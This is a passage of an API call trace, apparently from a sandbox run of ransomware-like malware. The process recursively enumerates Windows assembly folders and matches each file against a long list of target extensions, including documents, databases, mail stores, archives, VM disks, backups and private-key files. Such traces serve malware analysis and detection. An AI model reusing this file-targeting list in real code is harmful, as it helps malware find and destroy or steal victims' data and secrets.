[0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.eml") returned 0 [0100.398] lstrlenA (lpString="*.eml") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.pst") returned 0 [0100.398] lstrlenA (lpString="*.pst") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.ost") returned 0 [0100.398] lstrlenA (lpString="*.ost") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.idx") returned 0 [0100.398] lstrlenA (lpString="*.idx") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.dbx") returned 0 [0100.398] lstrlenA (lpString="*.dbx") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.sql") returned 0 [0100.398] lstrlenA (lpString="*.sql") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mdb") returned 0 [0100.398] lstrlenA (lpString="*.mdb") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.fdb") returned 0 [0100.399] lstrlenA (lpString="*.fdb") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.wab") returned 0 [0100.399] lstrlenA (lpString="*.wab") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.dat") returned 0 [0100.399] lstrlenA (lpString="*.dat") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.txt") returned 0 [0100.399] lstrlenA (lpString="*.txt") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.jpeg") returned 0 [0100.399] lstrlenA (lpString="*.jpeg") returned 6 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.jpg") returned 0 [0100.399] lstrlenA (lpString="*.jpg") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.png") returned 0 [0100.399] lstrlenA (lpString="*.png") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.php") returned 0 [0100.399] lstrlenA (lpString="*.php") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.cs") returned 0 [0100.399] lstrlenA (lpString="*.cs") returned 4 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.cpp") returned 0 [0100.399] lstrlenA (lpString="*.cpp") returned 5 [0100.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.rar") returned 0 [0100.400] lstrlenA (lpString="*.rar") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.zip") returned 0 [0100.400] lstrlenA (lpString="*.zip") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.html") returned 0 [0100.400] lstrlenA (lpString="*.html") returned 6 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.htm") returned 0 [0100.400] lstrlenA (lpString="*.htm") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.xlsx") returned 0 [0100.400] lstrlenA (lpString="*.xlsx") returned 6 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.xls") returned 0 [0100.400] lstrlenA (lpString="*.xls") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mp4") returned 0 [0100.400] lstrlenA (lpString="*.mp4") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.ppt") returned 0 [0100.400] lstrlenA (lpString="*.ppt") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.pptx") returned 0 [0100.400] lstrlenA (lpString="*.pptx") returned 6 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.doc") returned 0 [0100.400] lstrlenA (lpString="*.doc") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.dot") returned 0 [0100.400] lstrlenA (lpString="*.dot") returned 5 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.docx") returned 0 [0100.400] lstrlenA (lpString="*.docx") returned 6 [0100.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.7z") returned 0 [0100.401] lstrlenA (lpString="*.7z") returned 4 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.tar") returned 0 [0100.401] lstrlenA (lpString="*.tar") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.bz2") returned 0 [0100.401] lstrlenA (lpString="*.bz2") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.gz") returned 0 [0100.401] lstrlenA (lpString="*.gz") returned 4 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mkv") returned 0 [0100.401] lstrlenA (lpString="*.mkv") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.eml") returned 0 [0100.401] lstrlenA (lpString="*.eml") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.msg") returned 0 [0100.401] lstrlenA (lpString="*.msg") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.edb") returned 0 [0100.401] lstrlenA (lpString="*.edb") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.accdb") returned 0 [0100.401] lstrlenA (lpString="*.accdb") returned 7 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.odb") returned 0 [0100.401] lstrlenA (lpString="*.odb") returned 5 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.java") returned 0 [0100.401] lstrlenA (lpString="*.java") returned 6 [0100.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.asm") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.pfx") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.pem") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.p12") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.gpg") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.vsd") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.odg") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.raw") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.nef") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.svg") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.psd") returned 0 [0100.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.vmx") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.vmdk") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.vdi") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.lay6") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mpeg") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.djvu") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.tiff") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.backup") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.pdf") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.cert") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.docm") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.xlsm") returned 0 [0100.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.dwg") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.nd") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.tlg") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.lgb") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mov") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.xdw") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.ods") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.wav") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mp3") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.aiff") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.flac") returned 0 [0100.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.m4a") returned 0 [0100.405] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.csv") returned 0 [0100.405] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaca3edc, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x573bd805, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.dll", cAlternateFileName="")) returned 0 [0100.405] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.405] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.405] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.405] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x382e2403, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x382e2403, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Windows.Diagnosis.SDHost.Resources", cAlternateFileName="MICROS~4.RES")) returned 1 [0100.405] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.SDHost.Resources") returned -1 [0100.405] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.SDHost.Resources") returned -1 [0100.405] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.405] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.SDHost.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources" [0100.405] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x382e2403, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x382e2403, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.406] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.406] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x382e2403, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x382e2403, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.406] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.406] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.406] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0100.406] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.406] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.406] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\*.*") returned="*.*" [0100.406] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35" [0100.407] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.407] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.407] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.407] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.407] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.408] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7b58e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xec7b58e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, 